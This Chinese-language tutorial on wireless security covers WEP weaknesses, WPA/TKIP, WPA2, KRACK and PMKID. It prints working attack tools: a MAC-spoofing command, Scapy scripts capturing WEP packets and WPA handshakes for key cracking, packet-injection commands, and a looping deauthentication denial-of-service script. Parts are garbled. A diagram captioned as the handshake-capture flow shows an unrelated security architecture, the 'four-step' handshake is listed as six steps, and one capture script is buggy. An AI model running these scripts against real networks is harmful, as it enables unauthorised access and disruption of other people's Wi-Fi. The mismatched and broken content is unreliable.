WEP 作為早期無線網路加密協定,因其加密演算法的缺陷和金鑰管理的漏洞,容易遭受破解。WPA 的出現則強化了安全性,透過 TKIP 協定擴充套件 IV、強制新金鑰和加密 MIC 等機制,提升了無線網路的防護能力。然而,WPA 仍存在一些漏洞,例如 Hole 196 和 KRACK 攻擊,這些攻擊手法利用了 WPA 協定中的缺陷,使得攻擊者可以繞過加密機制取得資料。隨著技術的發展,WPA2 採用了更安全的 AES 加密演算法和 CCMP 協定,進一步提升了無線網路的安全性。但即使是 WPA2,也並非絕對安全,仍需持續關注新的漏洞和攻擊方法,並採取相應的防護措施。瞭解無線網路安全的演變和攻擊技術,對於構建更安全的網路環境至關重要。

無線網路安全:從WEP到WPA的演變

無線網路在現代社會中無處不在,然而,確保這些網路的安全性始終是一大挑戰。本文將探討無線網路安全的演變,從最早的WEP(Wired Equivalent Privacy)到現代的WPA(Wi-Fi Protected Access),並討論這些技術背後的原理與實際應用。

WEP(Wired Equivalent Privacy)的弱點

WEP是最早用於保護無線網路的加密協定,但其名稱顯然過於樂觀。自2002年起,WEP的加密演算法就已經被完全破解,如今僅需數分鐘即可完成攻擊。WEP使用64位或128位的金鑰來加密資料幀,但實際上只有40位或104位的金鑰在使用中,因為前24位是初始化向量(IV),確保每個封包使用不同的金鑰。

然而,WEP並未規定IV的生成方法,許多演算法會順序增量IV。此外,WEP也未定義金鑰更換頻率,導致一些網路堆積疊使用單一金鑰加密所有封包。弱IV會揭示部分明文資料,這使得攻擊者能夠利用XOR加密進行解密。

MAC地址過濾的侷限性

另一種常見的保護方式是MAC地址過濾。管理員或支付閘道器必須解鎖客戶端的MAC地址才能使用網路,其他MAC地址的封包會被自動丟棄。然而,這種保護方式僅在沒有人使用網路時有效,因為MAC地址很容易被偽造。

攻擊者只需等待一個客戶端連線,抓取其MAC地址並設定為自己的即可。例如:

ifconfig wlp2s0 hw ether c0:de:de:ad:be:ef

可能需要停止NetworkManager服務以操作介面:

systemctl stop NetworkManager

收集WEP封包以破解金鑰

以下Python程式碼收集40,000個WEP封包並將其儲存在PCAP檔案中。這些檔案可以輸入到Aircrack-NG程式中進行破解。此外,指令碼還會列印每個封包的IV、Keyid和ICV。

#!/usr/bin/env python3

import sys
from scapy.all import *

iface = "wlp2s0"
iwconfig_cmd = "/usr/sbin/iwconfig"

nr_of_wep_packets = 40000
packets = []

# 此函式將對每個捕捉到的封包進行處理
def handle_packet(packet):
    # 捕捉到WEP封包嗎?
    if packet.haslayer(Dot11WEP):
        packets.append(packet)

    print("封包 " + str(len(packets)) + ": " +
          packet[Dot11].addr2 + " IV: " + str(packet.iv) +
          " Keyid: " + str(packet.keyid) +
          " ICV: " + str(packet.icv))

    # 捕捉足夠的封包以破解WEP金鑰嗎?
    # 儲存它們到pcap檔案並離開
    if len(packets) == nr_of_wep_packets:
        wrpcap("wp_a_handshake.pcap", packets)
        sys.exit(0)

# 將裝置設定為監控模式
os.system(iwconfig_cmd + " " + iface + " mode monitor")

# 開始捕捉
print("在介面 " + iface + " 上捕捉")
sniff(iface=iface, prn=handle_packet)

內容解密:

此Python程式碼利用Scapy函式庫來捕捉無線網路上的WEP封包。以下是詳細解說:

  1. 匯入模組:程式碼首先匯入必要的模組,包括sysscapy.all
  2. 設定變數:定義介面名稱、iwconfig命令、所需捕捉的WEP封包數量以及儲存封包的清單。
  3. 處理封包函式:定義handle_packet函式,當捕捉到WEP封包時會被呼叫。該函式會檢查是否有層次為Dot11WEP的封包,如果有則新增到清單中並列印相關資訊。
  4. 檢查條件:當捕捉到足夠數量的封包時,會將其儲存到PCAP檔案中並離開程式。
  5. 裝置模式:使用os.system命令將介面設定為監控模式。
  6. 開始捕捉:使用Scapy的sniff函式開始捕捉無線網路上的封包。

WPA(Wi-Fi Protected Access)

為瞭解決WEP的弱點,2003年中推出了WPA作為暫時解決方案。由於新標準802.11i尚未完成,WPA必須能夠透過韌體更新來實作。因此,仍然使用RC4作為流密碼。

TKIP(Temporal Key Integrity Protocol)

WPA採用TKIP協定來克服WEP的主要弱點:

  • 擴充套件IV:將IV從24位擴充套件到48位,並混合傳送者地址。
  • 強制新金鑰:每個資料幀都強制使用新金鑰。
  • 加密MIC:實施加密MIC(訊息完整性檢查),防止已知金鑰下的無法察覺操作。
  • 序列號:TKIP標頭中的序列號隨每個資料幀遞增,防止重播攻擊。

WPA登入過程

WPA延伸了登入過程:在成功連線後,需要進行EAP(Extensible Authentication Protocol)或EAPOL(EAP over LAN)驗證。

WPA-PSK

大多數情況下使用的是WPA-PSK(Pre-Shared Key),即輸入預分享金鑰(通常是密碼)。

WPA握手過程

此圖示說明瞭WPA握手過程:

內容解密:

此圖示展示了WPA握手過程中的四個主要步驟:

  1. 客戶端請求ANonce:客戶端請求存取點生成一個256位隨機數ANonce。
  2. 存取點回傳ANonce和MIC:存取點將ANonce和MIC回傳給客戶端。
  3. 客戶端生成PTK和SNonce:客戶端生成自身Nonce(SNonce)並計算PTK(對稱轉換金鑰)。
  4. 存取點驗證MIC和生成PTK、GTK:存取點驗證MIC後生成PTK和GTK(群組轉換金鑰)。
  5. 存取點回傳GTK與MIC:存取點將GTK加密並簽名後回傳給客戶端。
  6. 客戶端回傳ACK與MIC:客戶端收到GTK後回傳ACK以確認接收。

透過這些步驟,確保了無線網路連線的安全性和完整性。

網路安全:WPA手握與攻擊技術

網路安全中,WPA(Wi-Fi Protected Access)是一種常見的無線網路加密標準,但在實務上仍存在多種漏洞和攻擊方法。本文將探討WPA手握攔截、WPA2的安全性及WiFi封包注入技術,並提供具體的程式碼範例和詳細解說。

WPA手握攔截

WPA手握是WiFi網路在建立連線時進行的加密協商過程。透過攔截這個過程,攻擊者可以破解網路的Pre-Shared Key(PSK)。以下是一個簡單的Python指令碼,使用Scapy來攔截WPA手握。

#!/usr/bin/env python3

from scapy.all import *
import os

iface = "wlp2s0"
iwconfig_cmd = "/usr/sbin/iwconfig"

wpa_handshake = []

def handle_packet(packet):
    # 檢查是否為EAPOL KEY封包
    if packet.haslayer(EAPOL) and packet.type == 2:
        print(packet.summary())
        wpa_handshake.append(packet)

    # 檢查是否已收到完整手握封包
    if len(wpa_handshake) >= 4:
        wrpcap("wpa_handshake.pcap", wpa_handshake)

# 將裝置設定為監聽模式
os.system(iwconfig_cmd + " " + iface + " mode monitor")

# 開始捕捉封包
print("Sniffing on interface " + iface)
sniff(iface=iface, prn=handle_packet)

內容解密:

這段程式碼使用Scapy來捕捉WPA手握過程中的EAPOL KEY封包。首先,定義了裝置介面和iwconfig命令,並初始化了一個空列表來儲存捕捉到的手握封包。handle_packet函式用於處理每個捕捉到的封包,檢查是否為EAPOL KEY封包並將其新增到列表中。當列表中累積了四個手握封包時,程式碼會將其寫入PCAP檔案。最後,程式碼將裝置設定為監聽模式並開始捕捉封包。

這個指令碼主要用於演示如何使用Scapy來捕捉WPA手握,並將其儲存為PCAP格式的檔案。後續可以使用Aircrack-NG等工具來破解Pre-Shared Key。

WPA2安全性分析

WPA2實作了802.11i標準,使用AES(Advanced Encryption Standard)作為區塊加密,並採用CCMP(Counter Mode with CBC-MAC)協定進行驗證。雖然WPA2比WPA1更安全,但仍存在一些已知漏洞和攻擊方法。

Hole 196攻擊

Hole 196攻擊利用了廣播流量未簽名的特性,攻擊者可以偽裝源地址傳送封包,誘使客戶端回應其Pairwise-Transient-Key(PTK)。這需要攻擊者已經完全登入WPA2網路且擁有Group-Transient-Key(GTK)。

KRACK攻擊

KRACK攻擊利用了WPA2協定中的重放攻擊漏洞,允許攻擊者在四次握手過程中插入或修改封包。這使得攻擊者可以繞過加密機制取得資料。

WiFi封包注入

WiFi封包注入需要支援注入功能的驅動程式和相容的晶片組。Atheros晶片組是最常見的選擇,但其他如iwlwifi或rtl8192cu也可行。

測試封包注入功能

首先,需要將WiFi裝置設定為監聽模式:

airmon-ng start wlp2s0

然後進行注入測試:

aireplay-ng --test wlp2s0mon

如果測試成功,會看到以下輸出:

Trying broadcast probe requests...
Injection is working!

如果測試失敗,可以尋找Aircrack-NG提供的驅動補丁。

安裝補丁驅動

例如,針對Ath5k驅動進行補丁:

patch -p1 < aircrack-ng/patches/ath5k-injection-2.6.27-rc2.patch
make
make install

此圖示展示了WPA手握攔截流程

@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title 無線網路安全:WEP/WPA 演進與攻擊技術分析

package "安全架構" {
    package "網路安全" {
        component [防火牆] as firewall
        component [WAF] as waf
        component [DDoS 防護] as ddos
    }

    package "身份認證" {
        component [OAuth 2.0] as oauth
        component [JWT Token] as jwt
        component [MFA] as mfa
    }

    package "資料安全" {
        component [加密傳輸 TLS] as tls
        component [資料加密] as encrypt
        component [金鑰管理] as kms
    }

    package "監控審計" {
        component [日誌收集] as log
        component [威脅偵測] as threat
        component [合規審計] as audit
    }
}

firewall --> waf : 過濾流量
waf --> oauth : 驗證身份
oauth --> jwt : 簽發憑證
jwt --> tls : 加密傳輸
tls --> encrypt : 資料保護
log --> threat : 異常分析
threat --> audit : 報告生成

@enduml
圖示解說:

這張圖示展示了WPA手握攔截流程。首先設定裝置為監聽模式,然後捕捉EAPOL KEY封包。當累積到四個手握封包時,將其寫入PCAP檔案以便後續破解。

使用 Scapy 偵測及拒絕無線網路連線

無線網路(Wi-Fi)技術在現代社會中廣泛應用,但其安全性問題也讓許多技術人員頭痛。透過 Scapy 這個強大的 Python 函式庫,我們可以探討無線網路的包結構和通訊協定,進而設計出更安全的網路環境。以下將介紹如何使用 Scapy 進行 Wi-Fi 檢測和拒絕連線的技術。

檢測及拒絕 Wi-Fi 連線

首先,我們需要了解如何使用 Scapy 偵測及拒絕 Wi-Fi 連線。這包括傳送探測請求、進行身份驗證以及傳送關聯請求等步驟。

探測請求

探測請求是 Wi-Fi 裝置用來尋找可用網路的第一步。我們可以使用 Scapy 來傳送這些請求並檢查回應。

#!/usr/bin/env python3
from scapy.all import *

station = "c0:de:de:ad:be:ef"
ssid = "LoveMe"
iface = "wlp2s0"

# 探測請求
pkt = RadioTap() / \
    Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=station, addr3=station) / \
    Dot11ProbeReq() / \
    Dot11Elt(ID='SSID', info=ssid, len=len(ssid))

print("傳送探測請求")
res = srp1(pkt, iface=iface)
bssid = res.addr2
print("獲得回應來自於 " + bssid)

身份驗證與關聯請求

接著,我們進行身份驗證和關聯請求,這是 Wi-Fi 裝置建立連線的第二步和第三步。

# 身份驗證(開放系統)
pkt = RadioTap() / \
    Dot11(subtype=0xb, addr1=bssid, addr2=station, addr3=bssid) / \
    Dot11Auth(alg=0, seqnum=1, status=0)

print("傳送身份驗證")
res = srp1(pkt, iface=iface)
res.summary()

# 關聯請求
pkt = RadioTap() / \
    Dot11(addr1=bssid, addr2=station, addr3=bssid) / \
    Dot11AssocReq() / \
    Dot11Elt(ID='SSID', info=ssid) / \
    Dot11Elt(ID="Rates", info="\x82\x84\x0b\x16")

print("關聯請求")
res = srp1(pkt, iface=iface)
res.summary()

內容解密:

以上程式碼展示瞭如何使用 Scapy 傳送探測請求、進行身份驗證以及傳送關聯請求。

  • 探測請求:使用 RadioTapDot11Dot11ProbeReq 建立一個探測請求包,並將其傳送到指定的介面。
  • 身份驗證:使用 Dot11Auth 建立一個身份驗證包,並將其傳送到指定的基地台(BSSID)。
  • 關聯請求:使用 Dot11AssocReq 建立一個關聯請求包,並將其傳送到指定的基地台。

這些步驟展示了 Wi-Fi 裝置如何與無線基地台建立連線的基本流程。透過這些程式碼,我們可以更好地理解 Wi-Fi 通訊協定的細節,並設計出更安全的網路環境。

拒絕服務攻擊

除了檢測 Wi-Fi 連線外,我們還可以使用 Scapy 設計拒絕服務攻擊(Deauth Attack),這是一種常見的 Wi-Fi 攻擊手法。攻擊者會傳送離線包(Deauth Packet)來中斷客戶端與基地台之間的連線。

#!/usr/bin/env python3
import time
from scapy.all import *

iface = "wlp2s0mon"
timeout = 1

if len(sys.argv) < 2:
    print(sys.argv[0] + " <bssid> [client]")
    sys.exit(0)
else:
    bssid = sys.argv[1]

if len(sys.argv) == 3:
    dest = sys.argv[2]
else:
    dest = "ff:ff:ff:ff:ff:ff"

pkt = RadioTap() / \
    Dot11(subtype=0xc, addr1=dest, addr2=bssid, addr3=bssid) / \
    Dot11Deauth(reason=3)

while True:
    print("傳送離線包到 " + dest)
    sendp(pkt, iface=iface)
    time.sleep(timeout)

內容解密:

以上程式碼展示瞭如何使用 Scapy 建立並傳送離線包,從而中斷客戶端與基地台之間的連線。

  • 離線包:使用 RadioTapDot11Dot11Deauth 建立一個離線包,並將其傳送到指定的目的地(client)。
  • 無限迴圈:透過無限迴圈不斷傳送離線包,確保客戶端無法重新連線到基地台。

PMKID 攻擊

PMKID 是現代無線基地台在四次握手過程中的一個選擇性欄位。它是由 Pairwise-Master-Key(PMK)、SSID、基地台和客戶端的 MAC 地址計算出來的 SHA-1 雜湊值。由於 PMKID 的存在,攻擊者可以透過捕捉這些包來取得必要的資訊進行進一步的攻擊。

Wireshark 偵測及防範

為了偵測 Deauth 攻擊,我們可以使用 Wireshark 作為嗅探工具。透過設定顯示濾波器 wlan.fc.subtype == 0x0c ,我們可以快速篩選出離線包。此外,完整轉換到 IEEE 802.11w 標準也能有效防範此類別攻擊。